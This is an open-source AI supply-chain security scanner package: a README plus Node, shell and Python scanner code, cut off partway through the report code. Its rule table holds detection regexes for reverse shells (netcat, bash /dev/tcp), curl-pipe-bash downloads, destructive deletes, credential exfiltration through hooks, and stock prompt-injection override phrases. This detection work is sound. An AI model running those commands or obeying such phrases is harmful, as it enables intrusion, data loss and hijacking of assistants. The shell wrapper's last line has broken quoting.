Skill: javamagong/ai-supply-chain-security (version 2.1.0)

# AI Supply Chain Security Cross-platform AI Coding security scanner for **OpenClaw** and **Claude Code**, detecting hooks configuration risks, MCP server attacks, prompt injection, and supply chain attacks (npm/PyPI/Rust). ## Skill Information ```yaml name: ai-supply-chain-security version: 2.1.0 description: Cross-platform AI Coding security scanner - Detect hooks, MCP servers, prompt injection, supply chain attacks, lock file poisoning, and registry substitution attacks author: JavaMaGong platforms: [Windows, macOS, Linux] category: security ``` ## Installation ### OpenClaw ```bash openclaw skills install ai-supply-chain-security ``` ### Manual Installation ```bash # Clone repository git clone https://github.com/javamagong/ai-supply-chain-security.git # Run directly (no install script needed) python ai-scanner.py --help ``` ## Core Features ### 1. AI Assistant Hooks Detection | AI Assistant | Config File | Detection Content | |-------------|-------------|-------------------| | Claude Code | `.claude/settings.json` | hooks, MCP servers, permissions | | Cursor | `.cursorrules` | Prompt injection | | Generic | `CLAUDE.md` | Prompt injection attacks | ### 2. MCP Server Security Detection Scans MCP server configurations for: - Unverified server sources - Excessive permission requests - Suspicious environment variable access ### 3. Prompt Injection Detection Detects suspicious patterns in `CLAUDE.md` and `.cursorrules`: - Instruction override patterns (e.g., phrases attempting to clear previous context) - Role hijacking attempts (e.g., claims to change AI identity) - Fake urgency commands (e.g., URGENT override requests) - Hidden Unicode characters (zero-width chars like U+200B, U+200C, U+200D) - Base64 encoded hidden instructions ### 4. Supply Chain Security Detection **npm Packages:** - Known malicious packages (colors, coa, rc, etc.) - Dangerous lifecycle scripts (postinstall, preinstall, prepare) - Dependency confusion attacks - Typosquatting (opeanai, litelm, etc.) **Python Packages:** - Malicious code in setup.py - Suspicious pyproject.toml configurations - Git URL dependencies with risks - Dependency confusion attacks **Rust Crates:** - Build.rs malicious code - Suspicious cargo.toml ### 5. Lock File Poisoning Detection **package-lock.json / yarn.lock:** - Non-official `resolved` URLs (CRITICAL) - Missing `integrity` hashes (WARNING) - Cross-reference against known malicious package database **poetry.lock:** - Git-sourced dependencies - Non-PyPI source URLs - Known malicious package detection **Cargo.lock:** - Git+ source dependencies - Non-crates.io registry sources - Missing checksum detection ### 6. Registry Substitution Attack Detection **.npmrc:** - Global registry overrides pointing to non-official URLs (CRITICAL) - Scoped registry redirects (@scope:registry) - Hardcoded `_authToken` values (CRITICAL) - `always-auth=true` credential exposure **pip.conf / pip.ini:** - Non-official `index-url` (CRITICAL) - `extra-index-url` dependency confusion risk (WARNING) - `trusted-host` TLS bypass (WARNING) - Scans both project-level and global system config ### 7. GitHub Actions Security - Unpinned Action versions (@main, @master, @HEAD) - Secrets leakage to logs - Dangerous pull_request_target triggers ### 8. Code Obfuscation Detection - Hex-encoded malicious code - Base64 hidden payloads - Unicode homograph attacks ## CLI Usage ### Basic Scan ```bash # Scan current directory python ai_scanner.py # Scan specific directory python ai_scanner.py -d /path/to/project # Full scan with node_modules python ai_scanner.py -d /path/to/project --full ``` ### Auto-Discovery Scan ```bash # Scan all projects under directory python auto_scanner.py -d /path/to/projects # Scan with specific severity filter python auto_scanner.py -d /path/to/projects --severity critical ``` ### Output Formats ```bash # Text output (default) python ai_scanner.py -f text # JSON output python ai_scanner.py -f json -o report.json # Markdown report python ai_scanner.py -f markdown -o report.md ``` ## Configuration Edit `config.yaml`: ```yaml scan_paths: - "./" - "../projects" notification: webhook: enabled: false url: "${SECURITY_WEBHOOK_URL}" email: enabled: false smtp_host: "${SMTP_HOST}" smtp_port: 587 from: "${SMTP_FROM}" to: "${SMTP_TO}" [REDACTED_SECRET]" severity_threshold: "medium" auto_fix: false ``` ## Detection Rules ### Known Malicious npm Packages - colors (>=1.4.0) - coa (>=2.0.0) - rc (>=1.3.0) - And 30+ more... ### AI Ecosystem Typosquatting Targets - openai / opeanai - anthropic / anthorpic - litellm / litelm - langchain / langchn ### Dangerous Patterns - Hidden Unicode: zero-width chars in filenames/code - Suspicious base64: encoded shell commands - Malicious setup.py: exec() calls, network requests ## CI/CD Integration ### GitHub Actions ```yaml - name: Security Scan uses: actions/checkout@v3 - name: Run AI Security Scanner run: | pip install -r requirements.txt python ai_scanner.py -d . -f json -o security-report.json - name: Upload Report uses: actions/upload-artifact@v3 with: name: security-report path: security-report.json ``` ### Pre-commit Hook ```yaml repos: - repo: local hooks: - id: ai-security-scan name: AI Security Scanner entry: python ai_scanner.py -d . language: system pass_filenames: false ``` ## Requirements - Python 3.8+ - See `requirements.txt` for dependencies ## License MIT-0 - See LICENSE file ## Author JavaMaGong - https://github.com/javamagong ## Changelog See CHANGELOG.md for version history

path: ai-scanner.js
content: #!/usr/bin/env node
/**
 * AI Security Scanner - Node.js Version
 * 
 * Cross-platform Node.js implementation of the security scanner.
 * Use this if you don't have Python installed.
 * 
 * Usage:
 *   node ai-scanner.js -d /path/to/scan
 *   node ai-scanner.js --watch --interval 60
 *   node ai-scanner.js --ci -f json -o report.json
 * 
 * Requirements:
 *   - Node.js 14+
 */

const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs');

// ANSI colors for output
const colors = {
    reset: '\x1b[0m',
    red: '\x1b[31m',
    green: '\x1b[32m',
    yellow: '\x1b[33m',
    blue: '\x1b[34m',
    cyan: '\x1b[36m'
};

// Parse arguments
const args = process.argv.slice(2);
const options = {
    directory: '.',
    format: 'text',
    output: null,
    watch: false,
    interval: 60,
    ci: false,
    recursive: true
};

for (let i = 0; i < args.length; i++) {
    const arg = args[i];
    switch (arg) {
        case '-d':
        case '--directory':
            options.directory = args[++i];
            break;
        case '-f':
        case '--format':
            options.format = args[++i];
            break;
        case '-o':
        case '--output':
            options.output = args[++i];
            break;
        case '-w':
        case '--watch':
            options.watch = true;
            break;
        case '-i':
        case '--interval':
            options.interval = parseInt(args[++i]);
            break;
        case '--ci':
            options.ci = true;
            break;
        case '--no-recursive':
            options.recursive = false;
            break;
        case '-h':
        case '--help':
            console.log(`
AI Security Scanner - Node.js Version

Usage:
  node ai-scanner.js [options]

Options:
  -d, --directory DIR    Directory to scan (default: current directory)
  -f, --format FORMAT    Output format: text or json (default: text)
  -o, --output FILE      Output file path
  -w, --watch           Watch mode (continuous monitoring)
  -i, --interval SECS   Watch interval in seconds (default: 60)
  --ci                  CI/CD mode (return exit codes)
  --no-recursive        Disable recursive scan
  -h, --help           Show this help message

Examples:
  node ai-scanner.js -d /path/to/project
  node ai-scanner.js --watch --interval 60
  node ai-scanner.js --ci -f json -o report.json
`);
            process.exit(0);
    }
}

// Detect Python
function detectPython() {
    const commands = ['python3', 'python'];
    for (const cmd of commands) {
        try {
            const result = require('child_process').spawnSync(cmd, ['--version']);
            if (result.status === 0) {
                return cmd;
            }
        } catch (e) {}
    }
    return null;
}

const pythonCmd = detectPython();
if (!pythonCmd) {
    console.error(`${colors.red}Error: Python 3 is required but not found.${colors.reset}`);
    console.error('Install it with: brew install python3 (macOS) or apt-get install python3 (Linux)');
    process.exit(1);
}

// Get script directory
const scriptDir = __dirname;
const scannerScript = path.join(scriptDir, 'ai-scanner.py');

// Build command
const pythonArgs = [scannerScript];
if (options.directory !== '.') {
    pythonArgs.push('-d', options.directory);
}
if (options.format !== 'text') {
    pythonArgs.push('-f', options.format);
}
if (options.output) {
    pythonArgs.push('-o', options.output);
}
if (options.watch) {
    pythonArgs.push('-w', '-i', options.interval.toString());
}
if (options.ci) {
    pythonArgs.push('--ci');
}
if (!options.recursive) {
    pythonArgs.push('--no-recursive');
}

// Run scanner
const child = spawn(pythonCmd, pythonArgs, {
    stdio: 'inherit',
    cwd: scriptDir
});

child.on('exit', (code) => {
    process.exit(code || 0);
});


path: ai-scanner.py
content: #!/usr/bin/env python3
"""
AI Security Scanner - Cross-platform Security Scanner
Cross-platform: Windows, macOS, Linux

Usage:
    python ai-scanner.py -d /path/to/scan
    python ai-scanner.py --watch --interval 60
    python ai-scanner.py --ci -f json -o report.json
"""

import sys
import os
from pathlib import Path

# Add the skill directory to Python path
SKILL_DIR = Path(__file__).parent.resolve()
sys.path.insert(0, str(SKILL_DIR))

from auto_scanner import AutoSecurityScanner
import json
import argparse


def main():
    parser = argparse.ArgumentParser(
        description='AI Security Scanner - Cross-platform Security Scanner',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python ai-scanner.py                         # Scan current directory
  python ai-scanner.py -d /path/to/project    # Scan specific directory
  python ai-scanner.py --watch                 # Watch mode
  python ai-scanner.py --ci                    # CI/CD mode
  python ai-scanner.py -f json -o report.json # JSON output
        """
    )
    
    parser.add_argument('-d', '--directory', default='.', 
                        help='Directory to scan (default: current directory)')
    parser.add_argument('-f', '--format', choices=['text', 'json'], 
                        default='text', help='Output format')
    parser.add_argument('-o', '--output', 
                        help='Output file path')
    parser.add_argument('-w', '--watch', action='store_true', 
                        help='Watch mode (continuous monitoring)')
    parser.add_argument('-i', '--interval', type=int, default=60, 
                        help='Watch mode interval in seconds (default: 60)')
    parser.add_argument('--ci', action='store_true', 
                        help='CI/CD mode (return exit codes)')
    parser.add_argument('--no-recursive', action='store_true', 
                        help='Disable recursive scan')
    
    args = parser.parse_args()
    
    # Create scanner
    scanner = AutoSecurityScanner()
    
    # Run scan
    results = scanner.auto_scan(
        path=args.directory, 
        recursive=not args.no_recursive
    )
    
    # Output
    if args.format == 'json':
        output = json.dumps(results, indent=2, ensure_ascii=False)
        if args.output:
            with open(args.output, 'w', encoding='utf-8') as f:
                f.write(output)
            print(f"Report saved to: {args.output}")
        else:
            print(output)
    else:
        scanner.print_report(results)
    
    # Return exit code for CI/CD
    if args.ci:
        if results['security_issues']['critical'] > 0:
            return 2
        elif results['security_issues']['warning'] > 0:
            return 1
    return 0


if __name__ == '__main__':
    sys.exit(main())


path: ai-scanner.sh
content: #!/bin/bash
# AI Security Scanner - Shell Wrapper for macOS/Linux
# 
# Usage:
#   ./ai-scanner.sh -d /path/to/scan
#   ./ai-scanner.sh --watch --interval 60
#   ./ai-scanner.sh --ci -f json -o report.json
#
# Requirements:
#   - Python 3.8+
#   - No additional dependencies (uses only standard library)

set -e

# Get the directory where this script is located
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR"

# Detect Python
if command -v python3 &> /dev/null; then
    PYTHON_CMD="python3"
elif command -v python &> /dev/null; then
    PYTHON_CMD="python"
else
    echo "Error: Python 3 is required but not found."
    echo "Install it with: brew install python3 (macOS) or apt-get install python3 (Linux)"
    exit 1
fi

# Check Python version
PYTHON_VERSION=$($PYTHON_CMD -c 'import sys; print(".".join(map(str, sys.version_info[:2])))')
REQUIRED_VERSION="3.8"
if [ "$(printf '%s\n' "$REQUIRED_VERSION" "$PYTHON_VERSION" | sort -V | head -n1)" != "$REQUIRED_VERSION" ]; then
    echo "Error: Python 3.8+ is required. Found: $PYTHON_VERSION"
    exit 1
fi

# Run the scanner
exec $PYTHON_CMD "$SCRIPT_DIR/ai-scanner.py "$@"


path: ai_scanner.py
content: #!/usr/bin/env python3
"""
AI Security Scanner - Cross-platform
Supports: Windows, macOS, Linux
Detect AI assistant hooks configuration risks and supply chain attacks

Usage:
    python ai_scanner.py                    # Scan current directory
    python ai_scanner.py -d /path/to/dir   # Scan specified directory
    python ai_scanner.py --watch           # Continuous monitoring
    python ai_scanner.py --ci              # CI/CD mode
"""

import os
import sys
import json
import re
import argparse
import hashlib
from pathlib import Path
from datetime import datetime
from typing import Dict, List, Optional, Any
import time

# Cross-platform color support
class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    RESET = '\033[0m'
    BOLD = '\033[1m'

    @classmethod
    def disable(cls):
        """Windows or terminals that do not support colors"""
        cls.RED = ''
        cls.GREEN = ''
        cls.YELLOW = ''
        cls.BLUE = ''
        cls.MAGENTA = ''
        cls.CYAN = ''
        cls.RESET = ''
        cls.BOLD = ''

# Detection rules library
SECURITY_RULES = {
    # Critical rules - Remote code execution
    'HOOK-001': {
        'pattern': r'curl\s+[^|]+\|\s*(bash|sh|zsh|dash)',
        'severity': 'CRITICAL',
        'category': 'remote_code_execution',
        'description': 'Download and execute remote script (curl | bash)',
        'recommendation': 'Remove this hook or use a pinned script version'
    },
    'HOOK-002': {
        'pattern': r'wget\s+[^|]+\|\s*(bash|sh|zsh|dash)',
        'severity': 'CRITICAL',
        'category': 'remote_code_execution',
        'description': 'Download and execute remote script (wget | bash)',
        'recommendation': 'Remove this hook or download, audit, then execute'
    },
    'HOOK-003': {
        'pattern': r'bash\s+-c\s+[\'"]?\s*(curl|wget)',
        'severity': 'CRITICAL',
        'category': 'remote_code_execution',
        'description': 'Execute remote script via bash -c',
        'recommendation': 'Avoid using bash -c to execute remote code'
    },

    # Critical rules - Destructive commands
    'HOOK-004': {
        'pattern': r'rm\s+(-[rf]+\s+)?(/\w+|~|\*|\.\.)',
        'severity': 'CRITICAL',
        'category': 'destructive_command',
        'description': 'Recursive delete command, may delete important files',
        'recommendation': 'Review deletion path, avoid using rm -rf'
    },
    'HOOK-005': {
        'pattern': r'del\s+/[sqm]?\s+\S+',
        'severity': 'CRITICAL',
        'category': 'destructive_command',
        'description': 'Windows delete command',
        'recommendation': 'Review deletion operation'
    },
    'HOOK-006': {
        'pattern': r'format\s+[a-zA-Z]:',
        'severity': 'CRITICAL',
        'category': 'destructive_command',
        'description': 'Disk format command',
        'recommendation': 'Remove immediately, extremely dangerous'
    },

    # Critical rules - Privilege escalation
    'HOOK-007': {
        'pattern': r'chmod\s+777',
        'severity': 'CRITICAL',
        'category': 'privilege_escalation',
        'description': 'Set file to full executable permissions',
        'recommendation': 'Apply principle of least privilege'
    },
    'HOOK-008': {
        'pattern': r'sudo\s+(rm|chmod|chown)',
        'severity': 'CRITICAL',
        'category': 'privilege_escalation',
        'description': 'Execute dangerous commands with root privileges',
        'recommendation': 'Avoid using sudo to execute dangerous commands'
    },

    # Warning rules - Code execution
    'HOOK-010': {
        'pattern': r'eval\s*\(',
        'severity': 'WARNING',
        'category': 'code_execution',
        'description': 'Use eval to execute dynamic code',
        'recommendation': 'Review eval content, avoid executing user input'
    },
    'HOOK-011': {
        'pattern': r'python\s+(-c|--command)\s+[\'"]',
        'severity': 'WARNING',
        'category': 'code_execution',
        'description': 'Execute Python code',
        'recommendation': 'Review Python code content'
    },
    'HOOK-012': {
        'pattern': r'node\s+(-e|--eval)\s+[\'"]',
        'severity': 'WARNING',
        'category': 'code_execution',
        'description': 'Execute Node.js code',
        'recommendation': 'Review JavaScript code content'
    },
    'HOOK-013': {
        'pattern': r'powershell(?:\.exe)?\s+(?:-c|-command|-EncodedCommand|EncodedCommand)',
        'severity': 'WARNING',
        'category': 'code_execution',
        'description': 'Execute PowerShell command',
        'recommendation': 'Review PowerShell command content'
    },
    'HOOK-014': {
        'pattern': r'base64\s+(-d|--decode)',
        'severity': 'WARNING',
        'category': 'code_execution',
        'description': 'Decode base64 encoded content',
        'recommendation': 'Review decoded content'
    },

    # Warning rules - Network operations
    'HOOK-020': {
        'pattern': r'nc\s+(-e|--exec)',
        'severity': 'WARNING',
        'category': 'network',
        'description': 'Netcat reverse shell',
        'recommendation': 'Highly suspicious, may be a backdoor'
    },
    'HOOK-021': {
        'pattern': r'bash\s+-i\s+>&\s+/dev/tcp',
        'severity': 'WARNING',
        'category': 'network',
        'description': 'Bash reverse shell',
        'recommendation': 'Highly suspicious, review immediately'
    },
    'HOOK-022': {
        'pattern': r'(curl|wget)\s+.*-o\s+\S*\.(sh|py|js|exe|bin)',
        'severity': 'WARNING',
        'category': 'network',
        'description': 'Download executable file',
        'recommendation': 'Review the source of downloaded file'
    },

    # Info rules - Package management
    'HOOK-030': {
        'pattern': r'npm\s+install\s+(-g|--global)',
        'severity': 'INFO',
        'category': 'package_manager',
        'description': 'Install npm package globally',
        'recommendation': 'Review installed package'
    },
    'HOOK-031': {
        'pattern': r'pip\s+install\s+(-U|--upgrade|--user)',
        'severity': 'INFO',
        'category': 'package_manager',
        'description': 'Install/upgrade Python package',
        'recommendation': 'Review installed package'
    },
    'HOOK-032': {
        'pattern': r'cargo\s+install',
        'severity': 'INFO',
        'category': 'package_manager',
        'description': 'Install Rust package',
        'recommendation': 'Review installed package'
    },

    # Supply chain attack detection (JSON format: key and value wrapped in double quotes)
    'SUPPLY-001': {
        'pattern': r'postinstall["\']?\s*:\s*["\']?(curl|wget|bash|sh|rm|del)',
        'severity': 'CRITICAL',
        'category': 'supply_chain',
        'description': 'npm package.json postinstall script contains dangerous commands',
        'recommendation': 'Review this package, may be malicious'
    },
    'SUPPLY-002': {
        'pattern': r'preinstall["\']?\s*:\s*["\']?(curl|wget|bash|sh|rm|del)',
        'severity': 'CRITICAL',
        'category': 'supply_chain',
        'description': 'npm package.json preinstall script contains dangerous commands',
        'recommendation': 'Review this package'
    },
    'SUPPLY-003': {
        'pattern': r'prepare["\']?\s*:\s*["\']?(curl|wget|bash|sh)',
        'severity': 'WARNING',
        'category': 'supply_chain',
        'description': 'npm package.json prepare script contains suspicious commands',
        'recommendation': 'Review this package'
    },

    # ========== Claude Code / AI Assistant Hooks Detection ==========
    'CLAUDE-001': {
        'pattern': r'"mcpServers"\s*:\s*\{[^}]*"(?:url|command)"\s*:\s*"[^"]*https?://',
        'severity': 'WARNING',
        'category': 'mcp_server',
        'description': 'MCP server config contains external URL, potential data exfiltration risk',
        'recommendation': 'Verify MCP server URL is trusted, confirm it is official or internal'
    },
    'CLAUDE-002': {
        'pattern': r'(?:ignore\s+(?:all\s+)?previous|disregard\s+(?:all\s+)?above|override\s+(?:all\s+)?instructions|you\s+are\s+now|forget\s+(?:all\s+)?(?:prior|previous)|new\s+system\s+prompt|IMPORTANT:\s*(?:ignore|override|disregard))',
        'severity': 'CRITICAL',
        'category': 'prompt_injection',
        'description': 'Detected prompt injection attack pattern attempting to override AI assistant instructions',
        'recommendation': 'Review the file immediately and remove malicious injection content'
    },
    'CLAUDE-003': {
        'pattern': r'"(?:command|hooks)"[^}]*(?:curl|wget|nc|bash\s+-[ic])\s+.*https?://',
        'severity': 'CRITICAL',
        'category': 'hook_exfiltration',
        'description': 'Hooks command calls external URL, may exfiltrate source code or credentials',
        'recommendation': 'Review hook command, remove suspicious network calls'
    },
    'CLAUDE-004': {
        'pattern': r'\$\w*(?:API[_-]?KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|ANTHROPIC|OPENAI|AWS|AZURE|GCP|GITHUB|GITLAB|SLACK|DISCORD)\w*',
        'severity': 'CRITICAL',
        'category': 'hook_exfiltration',
        'description': 'Hooks command references sensitive environment variables, may steal credentials',
        'recommendation': 'Review hook command, ensure it does not leak environment variables'
    },
    'CLAUDE-005': {
        'pattern': r'[\u200b\u200c\u200d\u2060\ufeff\u00ad]',
        'severity': 'WARNING',
        'category': 'prompt_injection',
        'description': 'Detected zero-width characters/hidden Unicode, may be used to hide malicious instructions',
        'recommendation': 'Review file and remove invisible characters'
    },

    # ========== Supply Chain Attack - Python Ecosystem ==========
    'SUPPLY-010': {
        'pattern': r'(?:^|\s)[\w-]+\s*@\s*git\+https?://|^-e\s+git\+https?://|^git\+https?://',
        'severity': 'CRITICAL',
        'category': 'supply_chain',
        'description': 'Python dependency installed via git URL, may point to malicious repository',
        'recommendation': 'Verify git URL is official repository, use pinned PyPI version instead'
    },
    'SUPPLY-011': {
        'pattern': r'--?(?:index-url|extra-index-url)\s+https?://(?!(?:pypi\.org|files\.pythonhosted\.org))',
        'severity': 'CRITICAL',
        'category': 'supply_chain',
        'description': 'Using unofficial PyPI index, may lead to dependency confusion attack',
        'recommendation': 'Confirm index URL is a trusted private repository'
    },
    'SUPPLY-012': {
        'pattern': r'cmdclass\s*[=:]\s*\{',
        'severity': 'WARNING',
        'category': 'supply_chain',
        'description': 'setup.py uses custom cmdclass, can execute arbitrary code during installation',
        'recommendation': 'Review cmdclass implementation, confirm no malicious behavior'
    },
    'SUPPLY-013': {
        'pattern': r'(?:os\.system|subprocess\.(?:call|run|Popen)|exec|eval)\s*\(',
        'severity': 'WARNING',
        'category': 'supply_chain',
        'description': 'System command execution in setup.py/build scripts',
        'recommendation': 'Review command content, confirm no malicious behavior'
    },

    # ========== Supply Chain Attack - GitHub Actions ==========
    'SUPPLY-020': {
        'pattern': r'uses:\s+[\w-]+/[\w-]+@(?:main|master|dev|develop|HEAD)\b',
        'severity': 'CRITICAL',
        'category': 'supply_chain',
        'description': 'GitHub Actions references unpinned branch, can be replaced by supply chain attack',
        'recommendation': 'Use commit SHA or pinned version tag (e.g., @v3.1.0)'
    },
    'SUPPLY-021': {
        'pattern': r'uses:\s+[\w-]+/[\w-]+@[a-f0-9]{7}(?![a-f0-9])',
        'severity': 'INFO',
        'category': 'supply_chain',
        'description': 'GitHub Actions uses short SHA reference, collision risk exists',
        'recommendation': 'Use full 40-character commit SHA'
    },

    # ========== Code Obfuscation Detection ==========
    'OBFUSC-001': {
        'pattern': r'(?:\\x[0-9a-fA-F]{2}){4,}',
        'severity': 'WARNING',
        'category': 'obfuscation',
        'description': 'Detected large amount of hex-encoded strings, may hide malicious commands',
        'recommendation': 'Decode and review actual content'
    },
    'OBFUSC-002': {
        'pattern': r'(?:exec|eval)\s*\([^)]*(?:base64|b64decode|b64_decode|codecs\.decode|bytes\.fromhex)',
        'severity': 'CRITICAL',
        'category': 'obfuscation',
        'description': 'Execute encoded/decoded code, highly suspicious malicious behavior',
        'recommendation': 'Decode and review immediately, very likely malicious code'
    },
    'OBFUSC-003': {
        'pattern': r'__import__\s*\(\s*[\'"](?:os|subprocess|shutil|socket|http|urllib|requests|ctypes)[\'"]',
        'severity': 'CRITICAL',
        'category': 'obfuscation',
        'description': 'Use __import__ to dynamically import sensitive modules, evading static analysis',
        'recommendation': 'Review code intent, use explicit import instead'
    },
    'OBFUSC-004': {
        'pattern': r'(?:chr\s*\(\s*\d+\s*\)\s*\+?\s*){4,}',
        'severity': 'WARNING',
        'category': 'obfuscation',
        'description': 'Use chr() to build string character by character, hiding actual content',
        'recommendation': 'Restore and review constructed string'
    },
    'OBFUSC-005': {
        'pattern': r'(?:exec|eval)\s*\(\s*compile\s*\(',
        'severity': 'CRITICAL',
        'category': 'obfuscation',
        'description': 'Use compile() + exec/eval to execute dynamic code',
        'recommendation': 'Review compiled code content'
    },
    'OBFUSC-006': {
        'pattern': r'exec\s*\(\s*(?:bytes\.fromhex|bytearray\.fromhex)\s*\(',
        'severity': 'CRITICAL',
        'category': 'obfuscation',
        'description': 'Execute code from hex byte sequence',
        'recommendation': 'Decode and review actual code'
    },
}

# Target file patterns
TARGET_FILES = {
    'claude_config': ['.claude/config.json', '.claude.json', '.claude/settings.json'],
    'claude_md': ['CLAUDE.md', '.claude/CLAUDE.md'],
    'cursor_rules': ['.cursorrules', '.cursor/rules'],
    'package_json': ['package.json'],
    'cargo_toml': ['Cargo.toml'],
    'requirements': ['requirements.txt', 'requirements-dev.txt'],
    'python_config': ['setup.py', 'pyproject.toml', 'setup.cfg', 'Pipfile'],
    'git_hooks': ['.git/hooks/*'],
    'hook_configs': ['*.hook.json', '*hooks.config.js', 'hooks.yaml'],
    'github_actions': ['.github/workflows/*'],
}


class AISecurityIssue:
    """Security issue object"""
    def __init__(self, rule_id: str, file_path: str, matched_text: str, line_number: int = 0):
        self.rule_id = rule_id
        self.file_path = file_path
        self.matched_text = matched_text.strip()[:200]
        self.line_number = line_number
        self.rule = SECURITY_RULES.get(rule_id, {})
        self.severity = self.rule.get('severity', 'UNKNOWN')
        self.description = self.rule.get('description', 'Unknown issue')
        self.recommendation = self.rule.get('recommendation', 'Review this issue')
        self.category = self.rule.get('category', 'unknown')

    def to_dict(self) -> Dict[str, Any]:
        return {
            'rule_id': self.rule_id,
            'severity': self.severity,
            'category': self.category,
            'file': self.file_path,
            'line': self.line_number,
            'description': self.description,
            'matched_text': self.matched_text,
            'recommendation': self.recommendation
        }

    def __str__(self) -> str:
        return f"[{self.severity}] {self.rule_id}: {self.description} in {self.file_path}"


class AISecurityScanner:
    """AI security scanner main class"""

    def __init__(self, config: Optional[Dict] = None):
        self.config = config or {}
        self.issues: List[AISecurityIssue] = []
        self.scanned_files = 0
        self.start_time = None

        # Exclude patterns
        self.exclude_patterns = self.config.get('exclude_patterns', [
            'node_modules',
            'dist',
            'build',
            '.git',
            '__pycache__',
            'venv',
            '.venv',
            'vendor'
        ])

    def should_exclude(self, path: Path) -> bool:
        """Check if path should be excluded"""
        path_str = str(path)
        for pattern in self.exclude_patterns:
            if pattern in path_str:
                return True
        return False

    def scan_file(self, file_path: Path) -> List[AISecurityIssue]:
        """Scan a single file"""
        issues = []

        try:
            # Check file size
            if file_path.stat().st_size > 10 * 1024 * 1024:  # 10MB
                return issues

            with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
                lines = f.readlines()

            self.scanned_files += 1
            content = ''.join(lines)

            # Scan line by line
            for line_num, line in enumerate(lines, 1):
                for rule_id, rule in SECURITY_RULES.items():
                    if re.search(rule['pattern'], line, re.IGNORECASE):
                        issue = AISecurityIssue(
                            rule_id=rule_id,
                            file_path=str(file_path),
                            matched_text=line,
                            line_number=line_num
                        )
                        issues.append(issue)

            # Scan entire file content (for multi-line matching)
            for rule_id, rule in SECURITY_RULES.items():
                if 'supply_chain' in rule.get('category', ''):
                    if re.search(rule['pattern'], content, re.IGNORECASE | re.MULTILINE):
                        # Avoid duplicates
                        if not any(i.rule_id == rule_id and i.file_path == str(file_path) for i in issues):
                            issue = AISecurityIssue(
                                rule_id=rule_id,
                                file_path=str(file_path),
                                matched_text=content[:200],
                                line_number=0
                            )
                            issues.append(issue)

        except Exception as e:
            # Silent failure, continue scanning other files
            pass

        return issues

    def find_target_files(self, root_path: Path) -> List[Path]:
        """Find all target files"""
        target_files = []

        for pattern_type, patterns in TARGET_FILES.items():
            for pattern in patterns:
                if pattern.endswith('/*'):
                    # Directory wildcard: .git/hooks/*
                    base_pattern = pattern[:-2]
                    base_dir = root_path / base_pattern
                    if base_dir.exists() and base_dir.is_dir():
                        for file_path in base_dir.iterdir():
                            if file_path.is_file() and not self.should_exclude(file_path):
                                target_files.append(file_path)
                elif pattern.startswith('**/'):
                    # Global wildcard: **/*.hook.json
                    suffix = pattern[3:]
                    for file_path in root_path.rglob(suffix):
                        if file_path.is_file() and not self.should_exclude(file_path):
                            target_files.append(file_path)
                else:
                    # Exact match
                    file_path = root_path / pattern
                    if file_path.exists() and file_path.is_file() and not self.should_exclude(file_path):
                        target_files.append(file_path)

        # Deduplicate
        return list(set(target_files))

    def scan_directory(self, path: str) -> List[AISecurityIssue]:
        """Scan directory"""
        root_path = Path(path).resolve()

        if not root_path.exists():
            print(f"❌ Path not found: {path}")
            return []

        print(f"Scanning directory: {root_path}")

        # Find target files
        target_files = self.find_target_files(root_path)
        print(f"Found {len(target_files)} target files")

        # Scan each file
        for file_path in target_files:
            file_issues = self.scan_file(file_path)
            self.issues.extend(file_issues)

        return self.issues

    def generate_report(self, output_format: str = 'text', output_file: Optional[str] = None) -> str:
        """Generate report"""
        timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

        # Classify by severity
        critical = [i for i in self.issues if i.severity == 'CRITICAL']
        warning = [i for i in self.issues if i.severity == 'WARNING']
        info = [i for i in self.issues if i.severity == 'INFO']

        if output_format == 'json':
            report = {
                'scan_id': hashlib.md5(f"{timestamp}{self.scanned_files}".encode()).hexdigest()[:12],
                'timestamp': timestamp,
                'scanned_files': self.scanned_files,
                'total_issues': len(self.issues),
                'summary': {
                    'critical': len(critical),
                    'warning': len(warning),
                    'info': len(info)
                },
                'issues': [issue.to_dict() for issue in self.issues]
            }
            report_text = json.dumps(report, indent=2)

        elif output_format == 'markdown':
            report_text = "# AI Security Scan Report\n\n"
            report_text += f"**Time**: {timestamp}\n"
            report_text += f"**Scanned Files**: {self.scanned_files}\n"
            report_text += f"**Total Issues**: {len(self.issues)}\n\n"

            if critical:
                report_text += "## Critical Issues\n\n"
                for issue in critical:
                    report_text += f"- **{issue.rule_id}**: {issue.description}\n"
                    report_text += f"  - File: `{issue.file_path}` (line {issue.line_number})\n"
                    report_text += f"  - Matched: `{issue.matched_text[:100]}...`\n"
                    report_text += f"  - Recommendation: {issue.recommendation}\n\n"

            if warning:
                report_text += "## Warnings\n\n"
                for issue in warning:
                    report_text += f"- **{issue.rule_id}**: {issue.description}\n"
                    report_text += f"  - File: `{issue.file_path}`\n\n"

            if info:
                report_text += "## Information\n\n"
                for issue in info:
                    report_text += f"- **{issue.rule_id}**: {issue.description}\n"

            report_text += "\n## Recommendations\n\n"
            report_text += "1. Review all CRITICAL issues immediately\n"
            report_text += "2. Disable or remove malicious hooks\n"
            report_text += "3. Audit dependencies for supply chain attacks\n"

        else:  # text format
            report_text = f"[{timestamp}] AI Security Scan Results\n"
            report_text += f"Scanned Files: {self.scanned_files}\n"
            report_text += f"Total Issues: {len(self.issues)}\n\n"

            if critical:
                report_text += f"CRITICAL Issues ({len(critical)}):\n"
                for issue in critical:
                    report_text += f"  [{issue.rule_id}] {issue.description}\n"
                    report_text += f"    File: {issue.file_path}:{issue.line_number}\n"
                    report_text += f"    Matched: {issue.matched_text[:80]}...\n"
                    report_text += f"    -> {issue.recommendation}\n"

            if warning:
                report_text += f"\nWarnings ({len(warning)}):\n"
                for issue in warning:
                    report_text += f"  [{issue.rule_id}] {issue.description}\n"
                    report_text += f"    File: {issue.file_path}\n"

            if info:
                report_text += f"\nInformation ({len(info)}):\n"
                for issue in info:
                    report_text += f"  [{issue.rule_id}] {issue.description}\n"
                report_text += f"\n{Colors.BLUE}ℹ️  Information ({len(info)}):{Colors.RESET}\n"
                for issue in info:
